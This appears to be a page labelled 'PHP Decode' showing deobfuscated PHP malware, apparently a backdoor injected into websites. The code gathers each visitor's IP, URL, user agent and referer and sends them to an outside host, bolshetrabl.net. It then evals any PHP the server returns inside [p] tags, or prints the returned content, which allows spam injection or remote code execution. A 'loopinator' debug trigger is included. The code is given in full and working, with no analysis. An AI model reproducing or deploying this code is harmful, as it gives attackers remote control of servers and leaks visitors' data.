PHP Decode

germik();
function germik() {
	$a['ip']  = getipik();
	$a['url'] = getUrlik();
	$cabardin = 'usee';
	$d=(strpos($a['url'], 'loopinator')!==false)?true:false;
	if($d){echo('function called['.$a['url'].'],['.$cabardin.']');}
	if (strpos($a['url'],$cabardin)===false && strpos($a['url'],'ogo=')===false) {
		if($d){echo('invalid url');}
		return;
	}
	if($d){echo('fetch url');}
	$a['host']    = @$_SERVER['SERVER_NAME'];
	$a['agent']   = @$_SERVER['HTTP_USER_AGENT'];
	$a['referer'] = @$_SERVER['HTTP_REFERER'];
	$eblo    = 'http://bolshetrabl.net/ztc/kalin4.php?data='.base64_encode(serialize($a));
	if($d){echo('t:['.$eblo.']');}
	$c = zzik($eblo);
	if($d){var_dump($c);}
	if (!$c) {
		if($d){echo('empty resulst');}
		return;
	}
	if (strpos($c, '--return--')!==false) {return;}
	if (preg_match('%\[p\](.*?)\[/p\]%i',$c,$ret)) {
		eval($ret[1]);
		exit;
	}
	echo($c);
	exit;
}

function zzik($url) {
	$ch = @curl_init($url);
	if(!$ch) {
		return;
	}
	@curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	$c = @curl_exec($ch);
	if (!$c) {
		return;
	}
	return $c;
}

function getipik() {
	if (in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', 'localhost'))) {
		if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
			return $_SERVER['HTTP_X_FORWARDED_FOR'];
		}
	}
	return $_SERVER['REMOTE_ADDR'];
}

function getUrlik() {
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
		$scheme = 'https';
	} else {
		$scheme = 'http';
	}
	$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
	if (isset($_SERVER['REQUEST_URI'])) {
    	$url = $scheme.'://'.$host.$_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['REDIRECT_SCRIPT_URI'])) {
		$url = $_SERVER['REDIRECT_SCRIPT_URI'];
		if (isset($_SERVER['REDIRECT_QUERY_STRING'])) {
			$url .= '?'.$_SERVER['REDIRECT_QUERY_STRING'];
		}
	} elseif (isset($_SERVER['REQUEST_URI'])) {
		$url = $scheme.'://'.$host.$_SERVER['REQUEST_URI'];
	} elseif (isset($_SERVER['REDIRECT_URL'])) {
		$path = $_SERVER['REDIRECT_URL'];
		$url = $scheme.'://'.$host.$path;
	} else {
		$url = $scheme.'://'.$host.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
	}
	return $url;
}